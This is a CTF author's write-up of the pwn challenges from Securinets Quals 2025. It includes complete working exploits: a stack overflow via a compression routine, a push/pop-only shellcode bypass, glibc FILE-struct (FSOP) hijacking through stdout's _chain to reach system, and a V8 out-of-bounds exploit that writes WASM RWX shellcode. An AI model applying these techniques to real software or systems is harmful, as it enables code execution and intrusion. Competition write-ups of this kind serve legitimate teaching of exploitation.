Securinets Quals 2025 | PWN writeups
writeups for the 5 pwn challanges i authored .
Securinets Quals is a qualifier ctf for the finals ctf that gets held onsite in tunisia . For this year , alongside my friend retr0 , we authored 5 pwn challs with different types .
Zip++
tldr
this is a warmup challenge , although it’s easy , i didn’t expect it to get solved in 5 minutes xd
code
__int64 vuln()
{
char buf[768]; // [rsp+0h] [rbp-610h] BYREF
_BYTE v2[772]; // [rsp+300h] [rbp-310h] BYREF
int v3; // [rsp+604h] [rbp-Ch]
unsigned int v4; // [rsp+608h] [rbp-8h]
int i; // [rsp+60Ch] [rbp-4h]
memset(v2, 0, 0x300uLL);
memset(buf, 0, sizeof(buf));
while ( 1 )
{
puts("data to compress : ");
v4 = read(0, buf, 0x300uLL);
if ( !strncmp(buf, "exit", 4uLL) )
break;
v3 = compress(buf, v4, v2);
printf("compressed data : ");
for ( i = 0; i < v3; ++i )
printf("%02X", (unsigned __int8)v2[i]);
puts(&byte_402043);
}
return 0LL;
}
__int64 __fastcall compress(_BYTE *a1, int a2, __int64 a3)
{
_BYTE v4[5]; // [rsp+1Bh] [rbp-Dh]
unsigned int v5; // [rsp+20h] [rbp-8h]
int v6; // [rsp+24h] [rbp-4h]
v4[0] = *a1;
*(_DWORD *)&v4[1] = 1;
v6 = 1;
v5 = 0;
while ( v6 < a2 )
{
while ( *(int *)&v4[1] <= 254 && v6 < a2 && v4[0] == a1[v6] )
{
++*(_DWORD *)&v4[1];
++v6;
}
*(_BYTE *)(a3 + (int)v5) = v4[0];
*(_BYTE *)((int)v5 + 1LL + a3) = v4[1];
v5 += 2;
v4[4] = 0;
*(_DWORD *)v4 = (unsigned __int8)a1[v6];
}
return v5;
}
- what the program does is takes your input , compresses it then prints the compressed data in hex format
- the compression algorithm works like this : it simply stores the byte the it’s number of his successif occurences , so
"abbccc"will become :"a\x01b\x02c\x03" - input data is a stack variable of size 0x300 and the output (the compressed data) is also of size 0x300 , because why would the compressed data be larger than the data that got compressed no ?
bugs :
- the number of successif occurences of a char is considered an uint_8 here so
"a"*0x100will decompress into"a\x00"because it will overflow back into 0 - the assumption that
len(compressed_data)<len(original_data)here is wrong because we can use this pattern"ab"and we will get"a\x01b\x01", in other words we compressed 2 bytes into 4 xdd . What a scam - now we can leverage this stack overflow to write our win function address . let’s say we wanna write this sequence of bytes
"\x61\x04", we need to provide this data to compress"\x61"*4. Just like this we can Write anything we want , even null bytes . Which we will need because the ret address is pointing tolibc_start_mainwhich is 6 bytes , if want it to point to point towinaddress which is 4 bytes we have to null out those extra 2 bytes
exploit
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
b* vuln+276
b* compress
b* win
c
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main",checksec=False)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
nc="nc pwn-14caf623.p1.securinets.tn 9000"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
def encode(x,n=6):
res=b""
for i in range(n//2):
char=(x>>(i*2*8))&0xff
repetition=(x>>((i*2)+1)*8)&0xff
if repetition==0:
repetition=256
res+=p8(char)*(repetition)
return res
p.recvuntil("data to compress :")
p.send(b"ab"*(0x318//4)+encode(exe.symbols["win"]+1,2)) ## writes only lower 2 bytes
p.recvuntil("data to compress :")
p.sendline("exit")
p.interactive()
Push Pull Pops & Push Pull Pops Revenge
tldr :
shellcode with only pop reg and push reg
storyline
- i make a challenge
- it gets solved unintendedly
- monkey sad
- i upload a revenge challenge preventing that unintended solution
initial code
#!/usr/local/bin/python3
import mmap
import ctypes
import base64
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
from capstone.x86 import X86_GRP_AVX2
from capstone import CS_OP_REG
def check(code: bytes):
if len(code) > 0x2000:
return False
code_len=len(code)
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
decoded=0
for insn in md.disasm(code, 0):
name = insn.insn_name()
decoded+=insn.size
if name!="pop" and name!="push" :
if name=="int3" :
continue
return False
if insn.operands[0].type!=CS_OP_REG:
return False
if decoded!=code_len:
print("nice try")
return False
return True
def run(code: bytes):
# Allocate executable memory using mmap
mem = mmap.mmap(-1, len(code), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
mem.write(code)
# Create function pointer and execute
func = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
func()
exit(1)
def main():
code = input("Shellcode : ")
code = base64.b64decode(code.encode())
try:
if check(code):
run(code)
else:
raise AssertionError("check failed")
except Exception as e:
print("Exception type :", type(e))
print("Exception text :", e)
exit(1)
if __name__ == "__main__":
main()
- this program reads your shellcode
- disassembles it with capstone , check every instruction whether its a pop or push and if yes makes sure the operand is a
reg. i also enabled int 3 to trigger breakpoint just to ease debugging and because it is useless in remote . - if the checks pass , mmap an
rwxregion then paste your shellcode in it then executes it
or that’s what i thought xdd
unintended solve (solve for first challenge) :
- capstone stops when encountring bad instructions or instructions it doesnt understand . which means , if we pass this type of instruction at first , the disasm will return an empty array then neglects the checks
- one of these instructions is
movsxd ecx, eaxwhich translates to\x63\xc8, so you can just do this
shellcode = b"\x63\xc8"
shellcode += asm(shellcraft.sh())
- i also saw some variants of this attack but they share the same idea and this is by far the coolest one .
intended solve (revenge):
- we should look to trigger a read syscall , we can deal with rax and with the parameters by just pushing and popping from stack and registers
- we can
pop rspto pivot the stack tou our input which we can overwrite because its ‘rwx’ - now all we need is to get the value
0x0f05which is thesyscallinstruction - what we can do simply find a pointer in memory that points to this sequence of bytes , or at least at a certain offset (positive offset) , so we can pop our way through
- we need this region where we have this bytes sequence to be writeable so we can ` push rwx , pop rsp` to pivot to our input
- since we’re inside a python executable , there are a bunch of extra memory segments, so we can for sure find a pointer in rsp that points to or is below our sequence .
- we also need to find a stable and reliable pointer .
solver :
to automate this i wrote a gdb script that :
- uses
search-patternfunction from gdb to look of all occurnces of the sequence , then only grep the rw- ones - gets a bunch of values from the stack
- iterate over all values on the stack to check if there is a value that has this condition
segment_pointer-value_from_stack < 0xd000this way it’s relatively close and we can get to it . - now execute the script and look for repeating patterns
Below are 3 different dumps from 3 different excutions from the docker
[+] found 0x55ded80d83e0 at offset 0x80 which leads to 0x55ded80e5415 with differnce 0xd035
[+] found 0x55ded801de00 at offset 0xf0 which leads to 0x55ded802b6b9 with differnce 0xd8b9
[+] found 0x55ded801de00 at offset 0x160 which leads to 0x55ded802b6b9 with differnce 0xd8b9
[+] found 0x55ded801e1a0 at offset 0x1a8 which leads to 0x55ded802b6b9 with differnce 0xd519
[+] found 0x55ded80d83e0 at offset 0x228 which leads to 0x55ded80e5415 with differnce 0xd035
[+] found 0x55ded801e1c0 at offset 0x248 which leads to 0x55ded802b6b9 with differnce 0xd4f9
[+] found 0x55ded80d83e0 at offset 0x268 which leads to 0x55ded80e5415 with differnce 0xd035
[+] found 0x55ded80d83e0 at offset 0x2b0 which leads to 0x55ded80e5415 with differnce 0xd035
[+] found 0x55ded801ce20 at offset 0x2c8 which leads to 0x55ded802b6b9 with differnce 0xe899
[+] found 0x55ded801ca80 at offset 0x2e0 which leads to 0x55ded802b6b9 with differnce 0xec39
[+] found 0x55ded80d8780 at offset 0x340 which leads to 0x55ded80e5415 with differnce 0xcc95
[+] found 0x55ded80d83e0 at offset 0x348 which leads to 0x55ded80e5415 with differnce 0xd035
[+] found 0x7f9251c27a60 at offset 0x498 which leads to 0x7f9251c2ba71 with differnce 0x4011
[+] found 0x7f9251c27a60 at offset 0x498 which leads to 0x7f9251c2e6d9 with differnce 0x6c79
---------------------------------------------------------------
[+] found 0x7f91e8a07a10 at offset 0x60 which leads to 0x7f91e8a11d8e with differnce 0xa37e
[+] found 0x55e446c753e0 at offset 0x80 which leads to 0x55e446c7d964 with differnce 0x8584
[+] found 0x55e446c753e0 at offset 0x80 which leads to 0x55e446c82415 with differnce 0xd035
[+] found 0x55e446c753e0 at offset 0xc0 which leads to 0x55e446c7d964 with differnce 0x8584
[+] found 0x55e446c753e0 at offset 0xc0 which leads to 0x55e446c82415 with differnce 0xd035
[+] found 0x55e446c753e0 at offset 0x228 which leads to 0x55e446c7d964 with differnce 0x8584
[+] found 0x55e446c753e0 at offset 0x228 which leads to 0x55e446c82415 with differnce 0xd035
[+] found 0x55e446c753e0 at offset 0x268 which leads to 0x55e446c7d964 with differnce 0x8584
[+] found 0x55e446c753e0 at offset 0x268 which leads to 0x55e446c82415 with differnce 0xd035
[+] found 0x55e446c753e0 at offset 0x2b0 which leads to 0x55e446c7d964 with differnce 0x8584
[+] found 0x55e446c753e0 at offset 0x2b0 which leads to 0x55e446c82415 with differnce 0xd035
[+] found 0x55e446c75780 at offset 0x340 which leads to 0x55e446c7d964 with differnce 0x81e4
[+] found 0x55e446c75780 at offset 0x340 which leads to 0x55e446c82415 with differnce 0xcc95
[+] found 0x55e446c753e0 at offset 0x348 which leads to 0x55e446c7d964 with differnce 0x8584
[+] found 0x55e446c753e0 at offset 0x348 which leads to 0x55e446c82415 with differnce 0xd035
[+] found 0x7f91e9512ae8 at offset 0x478 which leads to 0x7f91e951d835 with differnce 0xad4d
[+] found 0x7f91e8a07a10 at offset 0x498 which leads to 0x7f91e8a11d8e with differnce 0xa37e
[+] found 0x7f91e9512ae8 at offset 0x510 which leads to 0x7f91e951d835 with differnce 0xad4d
----------------------------------------------------------------
[+] found 0x7f94a74d3a10 at offset 0x60 which leads to 0x7f94a74ddd8e with differnce 0xa37e
[+] found 0x55d282e023e0 at offset 0x80 which leads to 0x55d282e0f415 with differnce 0xd035
[+] found 0x55d282e023e0 at offset 0xc0 which leads to 0x55d282e0f415 with differnce 0xd035
[+] found 0x55d282e023e0 at offset 0x228 which leads to 0x55d282e0f415 with differnce 0xd035
[+] found 0x55d282e023e0 at offset 0x268 which leads to 0x55d282e0f415 with differnce 0xd035
[+] found 0x55d282e023e0 at offset 0x2b0 which leads to 0x55d282e0f415 with differnce 0xd035
[+] found 0x55d282e02780 at offset 0x340 which leads to 0x55d282e0f415 with differnce 0xcc95
[+] found 0x55d282e023e0 at offset 0x348 which leads to 0x55d282e0f415 with differnce 0xd035
[+] found 0x7f94a7fdbae8 at offset 0x478 which leads to 0x7f94a7fdd825 with differnce 0x1d3d
[+] found 0x7f94a74d3a10 at offset 0x498 which leads to 0x7f94a74ddd8e with differnce 0xa37e
[+] found 0x7f94a7fdbae8 at offset 0x510 which leads to 0x7f94a7fdd825 with differnce 0x1d3d
[+] found 0x7f94a7fda018 at offset 0x5c8 which leads to 0x7f94a7fdd825 with differnce 0x380d
[+] found 0x7f94a7fda018 at offset 0x5d0 which leads to 0x7f94a7fdd825 with differnce 0x380d
[+] found 0x7f94a770fcd0 at offset 0x688 which leads to 0x7f94a77141e7 with differnce 0x4517
[+] found 0x7f94a770fcd0 at offset 0x688 which leads to 0x7f94a7714517 with differnce 0x4847
[+] found 0x7f94a770fcd0 at offset 0x688 which leads to 0x7f94a77154a7 with differnce 0x57d7
[+] found 0x7f94a770fcd0 at offset 0x688 which leads to 0x7f94a77168fd with differnce 0x6c2d
the most recognizable and consitant one the [+] found 0x55d282e023e0 at offset 0x228 which leads to 0x55d282e0f415 with differnce 0xd035 ,what this means is that at offset 0x228 in the stack , there is a pointer that points to &sequence-0xd035
we use this to get our syscall instruction , then we pivot the rsp to our code and push thye opcode
exploit
## gdb script
import gdb
import re
class CaptureRWSearch(gdb.Command):
def __init__(self):
super(CaptureRWSearch, self).__init__("capture_rw_search", gdb.COMMAND_USER)
def invoke(self, arg, from_tty):
output = gdb.execute(f"search-pattern {arg}", to_string=True)
addrs = []
in_rw = False
for line in output.splitlines():
# Detect new memory region header , to filter rw pages
m_region = re.search(r"\[(r[-w][^]]*)\]", line)
if m_region:
perms = m_region.group(1)
in_rw = perms.startswith("rw")
continue
if in_rw:
m_addr = re.match(r"\s*(0x[0-9a-fA-F]+):", line)
if m_addr:
addr = int(m_addr.group(1), 16)
addrs.append(addr)
if addrs:
for a in addrs:
pass
#print(hex(a))
else:
print("No RW matches found.")
rsp = int(gdb.parse_and_eval("$rsp"))
inferior = gdb.inferiors()[0]
# 1000 values, 8 bytes each
rsp_vals=[]
for i in range(1000):
addr = rsp + i * 8
data = inferior.read_memory(addr, 8)
value = int.from_bytes(data, byteorder="little")
rsp_vals.append((addr-rsp,value))
#print(f"{hex(addr)}: {hex(value)}")
#print(addrs)
#print(rsp_vals)
#### now we look for matches
for index,rsp in rsp_vals:
for addr in addrs:
if 0<(addr-rsp)<0x10000:
print(f"[+] found {hex(rsp)} at offset {hex(index)} which leads to {hex(addr)} with differnce {hex(addr-rsp)}")
return addrs
CaptureRWSearch()
##### exploit (this is the one made for the first part not the revenge)
from pwn import *
from base64 import b64encode
p=process("python3 main.py".split(" "))
#p=remote("pwn-14caf623.p1.securinets.tn",9001)
context.arch="amd64"
shellcode=""
shellcode+='''
push rax
pop rdi
push r11
pop rsi
push rbx
pop rdx
'''
#gdb.attach(p,"c")
#shellcode+="pop rbx\n"*(0x448//8) # local
shellcode+="pop rbx\n"*(0x210//8)
shellcode+="pop rdx\n" ## this goes in rdx for read later (nvm i wont use it xd , didnt remove it because i didnt wanna mess things up .)
shellcode+="pop rbx\n" ## 0x220 in total
shellcode+="pop rbx\n" ## 0x220 in total
shellcode+="pop rcx\n" # this will go to rsp
shellcode+="pop rbx\n"*(0xd0//8)
shellcode+="pop rdx\n" ## this goes in rdx for read later
shellcode+="push rcx\n"
shellcode+="pop rsp\n"
shellcode+="pop rbx\n"*(0xd030//8)
shellcode+="pop rcx\n"
shellcode+=f'''
push r11
pop rsp
pop rbx
'''
shellcode+="pop rbx\n"*(0x1a6e//8)+"pop rbx\n"*(0x1a6e//64)
shellcode+="pop rbx\n"*(17)
#shellcode+="pop r10\n"*1
shellcode+="push rcx\n"
shellcode+="pop rbx\n"*(2)
print(len(asm(shellcode)))
pause()
p.sendline(b64encode(asm(shellcode)))
shell='''
lea rdi,[rip+shell]
mov rsi,0
mov rdx,0
mov rax,0x3b
syscall
shell:
.string "/bin/sh"
'''
p.sendline(b"a"*0x1e3f+asm(shell))
p.interactive()
V-tables
source code :
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
void setup(){
setbuf(stdin,0);
setbuf(stdout,0);
}
int vuln(){
printf("stdout : %p\n",stdout);
read(0,stdout,sizeof(FILE));
return 0;
}
int main(){
setup();
vuln();
return 0;
}
tldr :
you can overwrite the stdout struct , but without overwriting the vtable xd
history and BTS
the original task was like this
int vuln(){
printf("stdout : %p\n",stdout);
read(0,stdout,sizeof(FILE));
return 0;
}
i tried triggering a _wide_data code path just from puts .
For that i grabbed [KyleBot’s angry-FSROP] script , moodified it to find a path without for an unconstrained state starting from _IO_new_file_xsputn , with the same vtable and _mode (with mode modified we won’t even reach this function) . ==» no results .
At this moment i decided to put a hardware breakpoint at &vtable (awatch command in gdb) then view all functions that try to use the vtable maybe i could find other functions . thats when my eyes caught the _IO_flush_all function and saw the _chain usage and decided to make use of it . Sadly i couldn’t remove the puts so i had to remove it
Solver
int
_IO_flush_all (void)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
- i explained above how i found this exact function . TLDR : this function is called in the
exit_handlersto flush allFilestructs , one of them by default isstdout. this function flushes the current struct then flushes the struct pointed to by_chainof that same struct (single linked list logic) - the idea is to fake a
FILEstruct then makestdout._chainpoint to it - we dont have much space , so we have to overlap it with
stdout, i chose to make it at&stdout-8. Benefits of this is you controlvtableand you only miss theflags - Debugging phase i will skip , but when solving the task i was changing one element at a time until i survived the
clean upof stdout - when we are inside the
clean upof the fake struct , it becomes a typical fsop challenge where you use somewide_datachain to trigger code execution . - the only caveat is when executing our arbitrary function , the rdi points to stdout-8 which we dont control , so no typical
b"\x04\x04;sh"inside of $rdi - from here there are multiple solutions , looking for
setcontext pivotor using this gadgetadd rdi , 0x10 , jmp rcx. I was lazy to look for gadgets so i just called gets and made another_chainwith a fully controlled file struct xd - GGs
exploit
from pwn import *
from time import sleep
context.arch = 'amd64'
## _IO_new_file_overflow
def debug():
if local<2:
gdb.attach(p,'''
b* puts
b* __GI__IO_flush_all+299
c
p _IO_2_1_stdout_
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main",checksec=False)
libc=ELF("./libc.so.6",checksec=False)
nc="nc localhost 1337"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
p.recvuntil("stdout : ")
libc.address=int(p.recvline().strip(),16)-libc.symbols["_IO_2_1_stdout_"]
log.info(hex(libc.address))
#debug()
f=FileStructure(null=libc.address+0x00000000001e7000+0x10)
stdout=libc.symbols["_IO_2_1_stdout_"]
l=0xe0
f.vtable=0x1122334455667788 #libc.symbols["_IO_wfile_jumps"]+0x18-0x38
#f._wide_data=stdout+0xe0-0xe0
stdout=libc.symbols["_IO_2_1_stdout_"]
l=0xe0
f.vtable=libc.symbols["_IO_wfile_jumps"]+0x18-0x18
f._wide_data=stdout+0xe0-0xe0 -0x28-0x20-0x18+0x10+8
f.flags= u64(b"\x04\x04;sh".ljust(8,b"\x00")) #u64(b"\x04;sh\x00".ljust(8,b"\x00")) #0x68733bfbad4087 #u64(b"\x02;sh\x00".ljust(8,b"\x00")) 0x68733bfbad2887
f.fileno=1 # libc.symbols["_IO_2_1_stderr_"] ## this will go into the chain_ of stdout
f.chain=libc.symbols["_IO_2_1_stdin_"]
f._IO_read_ptr=stdout+0x83
f._IO_read_end =stdout+0x83
f._IO_read_base=stdout+0x82 # 0 #stdout+0x83
f._IO_write_base=0
f._IO_write_ptr=libc.symbols["gets"] #stdout+0x83+0x100
f._IO_write_end=0 #stdout+0x83
f._IO_buf_base=stdout+0x83
f._IO_buf_end=stdout+0x83+1
f._offset=stdout # looks like this is widedata
# f._codecvt=0x1122334455667788 ### for some reason this results in infinte loop
payload=bytes(f)
payload=payload[:0x70]+p64(libc.symbols["_IO_2_1_stdout_"]-8)+payload[0x78:] # this to overwrite _chain
#payload=payload[:0xc8]+p64(0x11223344)+payload[0xc8+8:] # this for mode
#f._mode=1 # mind this
pause()
p.send(payload[8:])
pause()
################## second stage gets()
f.vtable=libc.symbols["_IO_wfile_jumps"]+0x18-0x38
#f._wide_data=stdout+0xe0-0xe0
f.flags= u64(b"\x04\x04;sh".ljust(8,b"\x00")) #u64(b"\x04;sh\x00".ljust(8,b"\x00")) #0x68733bfbad4087 #u64(b"\x02;sh\x00".ljust(8,b"\x00")) 0x68733bfbad2887
f.fileno=1
#f.chain=libc.symbols["_IO_2_1_stdin_"]
'''f._IO_read_ptr=stdout+0x83
f._IO_read_end =stdout+0x83
f._IO_read_base=stdout+0x82 #stdout+0x83
f._IO_write_base=stdout+0x'''
f._IO_read_ptr=stdout+0x83
f._IO_read_end =stdout+0x83
f._IO_read_base=stdout+0x82 # 0 #stdout+0x83
f._IO_write_base=0
f._IO_write_ptr=stdout+0x83+0x100
f._IO_write_end=0 #stdout+0x83
f._IO_buf_base=stdout+0x83
f._IO_buf_end=stdout+0x83+1
f._wide_data=stdout+0xe0-0xe0 -0x28-0x20-0x18+0x10+8-0x20-0x10
f.chain=stdout-8+0xa8
#f._IO_write_base=stdout+0x82
payload=bytes(f)
f=FileStructure(null=libc.address+0x00000000001e7000+0x10)
stdout=stdout-8+0xa8 # libc.symbols["_IO_2_1_stdout_"]
l=0xe0
f.vtable=libc.symbols["_IO_wfile_jumps"]+0x18-0x18
f._wide_data=stdout+0xe0-0xe0
f.flags= u64(b"\x04\x04;sh".ljust(8,b"\x00")) #u64(b"\x04;sh\x00".ljust(8,b"\x00")) #0x68733bfbad4087 #u64(b"\x02;sh\x00".ljust(8,b"\x00")) 0x68733bfbad2887
f.fileno=1
f.chain=libc.symbols["_IO_2_1_stdin_"]
f._IO_read_ptr=stdout+0x83
f._IO_read_end =stdout+0x83
f._IO_read_base=0 #stdout+0x83
f._IO_write_base=0#stdout+0x83
f._IO_write_ptr=stdout+0x83
f._IO_write_end=0 #stdout+0x83
f._IO_buf_base=stdout+0x83
f._IO_buf_end=stdout+0x83+1
payload2=bytes(f)
p.sendline(b"\x04\x04;sh".ljust(8,b"\x00")+payload[8:0xa8]+payload2+p64(stdout+0xe0+8-0x68)+p64(libc.symbols["system"]))
#p.sendline(b"a"*10)
p.interactive()
note
i’m thinking of making this a heap house , its a very decent large bin attack vector , although it looks a bit like just overwriting stderr then causing a heap assetion (which is already widely used ) , this technique might get patched (or maybe already patched idk) . which makes _chain a very good alternative . So please if this technique is already ‘housed’ (maybe i missed it) or maybe widely used in the wild , dm me .
spells manager
i didn’t author this one , my friend retr0 did . Hopefully he posts his solution in the attached blog
Sukunahikona
I’d like to apologize in advance.
I learned V8 exploitation the last week purely to birth this abomination of a challenge.
That’s all I could come up with 😭
source
BUILTIN(ArrayShrink) {
+ HandleScope scope(isolate);
Factory *factory = isolate->factory();
Handle<Object> receiver = args.receiver()
if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Oldest trick in the book"))
);
Handle<JSArray> array = Cast<JSArray>(receiver)
if (args.length() != 2) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("specify length to shrink to "))
);
uint32_t old_len = static_cast<uint32_t>(Object::NumberValue(array->length()))
Handle<Object> new_len_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));
if (new_len >= old_len){
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("invalid length"))
);
array->set_length(Smi::FromInt(new_len));
return ReadOnlyRoots(isolate).undefined_value();
}
bug
- the bug lies in here
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));what this does internally is call thevalueOfproperty of the object . this is buggy because we it doesnt check beforehand the type of the parameter (HeapValue , object , smi …) - so we can do this
obj = {
valueOf: function () {
// do whatever you want
console.log("please rate our ctf at ctftime xd");
return 30;
},
};
random_arr.shrink(obj);
-
this is usefull because we can mess with the length of the array right before the added builtin sets the
lengthagain to our argument , in this case30 - what we can try to do is make the
elementslength smaller than the value we wanna shrink to , this way the new written length will cause an OOB. -
however for that to be usefull , we need toi fulfill these conditions
- we need to reallocate our
elementsobject , otherwise our oob will be within our old elements so it’s wont even be an OOB - the newly resized elements object , should have a lesser length than the shrink parameter
- dont make the array
Holey, because it wont reallocate our elements
- we need to reallocate our
- this can be done with this
a = [
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
1.1, 1.1, 1.1, 1.1, 1.1,
];
obj = {
valueOf: function () {
a.length = 0; // this sets the elements in the array object to null (not the 0 but the array null) , so on next access will trigger a new allocation
a.push(1, 1); // if you do a[0]=1 , this will make the array holey which makes exploitation harder (i'm capping cause i didnt have time to solve it this way)
return 30;
},
};
a.shrink(obj); /// elements allocated length is now 1 , but our len == 30
// OOB achieved
- from there its a very typical OOB to achieve
addrofandfakeobjprimitive thenaarandaaw - commit is from 2024 (definitely didnt steal the template from pwn.college xd) so
ArrayBuffer.backingstoreapproach is still viable . - GGs
exploit
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
// typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) {
// typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
a = [
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
1.1, 1.1, 1.1, 1.1, 1.1,
];
obj = {
valueOf: function () {
a.length = 0;
a.push(1, 1);
return 30;
},
};
a.shrink(obj);
to_modifie = [{}];
///////////////////////////////////////////////////
var packed_elements_map = 0x001cb8ed;
var double_float_array_map = 0x001cb86d;
function addrof(obj) {
to_modifie[0] = obj;
return ftoi(a[20]) & 0xffffffffn;
}
function fakeobj(addr) {
if (addr % 2n == 0n) {
addr = addr + 1n;
}
a[20] = itof(addr);
return to_modifie[0];
}
function arb_read(address) {
let y = [
itof(BigInt(double_float_array_map)),
itof(BigInt(0x20000000000n | (address - 8n))),
3.3,
];
let fake = fakeobj(addrof(y) - 0x18n);
return ftoi(fake[0]);
}
function arb_write(address, val) {
let y = [
itof(BigInt(double_float_array_map)),
itof(BigInt(0x20000000000n | (address - 8n))),
3.3,
];
fake = fakeobj(addrof(y) - 0x18n); // now fake elemnts point to address-8
fake[0] = val;
return fake[0];
}
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128,
0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10,
138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11,
]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var fa = wasm_instance.exports.main;
addr_ = addrof(wasm_instance);
let trusted_data = arb_read(addr_ + 0xcn) & 0xffffffffn;
let rwx = arb_read(trusted_data + 0x30n);
console.log("rwx : " + rwx.toString(16));
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x24n;
console.log("buf 0x" + buf_addr.toString(16));
console.log("backing store 0x" + backing_store_addr.toString(16));
//arb_write(backing_store_addr, itof(addr));
arb_write(backing_store_addr, itof(addr));
//Breakpoint();
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4 * i, shellcode[i], true);
}
}
var shellcode = [
46188360, 1207959552, 50887, 3343384576, 194, 1032669184, 50, 2303198479,
3867756743, 1354942280, 1207959552, 49351, 84869120, 29869896, 1207959552,
3343443593, 20674, 3234285568, 1, 1818625295, 1949198177, 29816,
];
copy_shellcode(rwx, shellcode);
console.log("[+] ORW flag");
fa();
console.log("\n");
Reaching the end of this writeup , i hope you enjoyed or learnt a thing or 2 . Hope you also liked our CTF despite the bit of oopsies that happened . All our team did it’s best .
also dont forget to vote for the weight at ctftime
May we meet at the finals <3
Securinets{come_to_tunisia_habibi}
also i’m looking for a research/exploit-dev internship so if you know some lab or org looking for juniors hit me up (i’m this desperate 😭😭) . I would appreciate it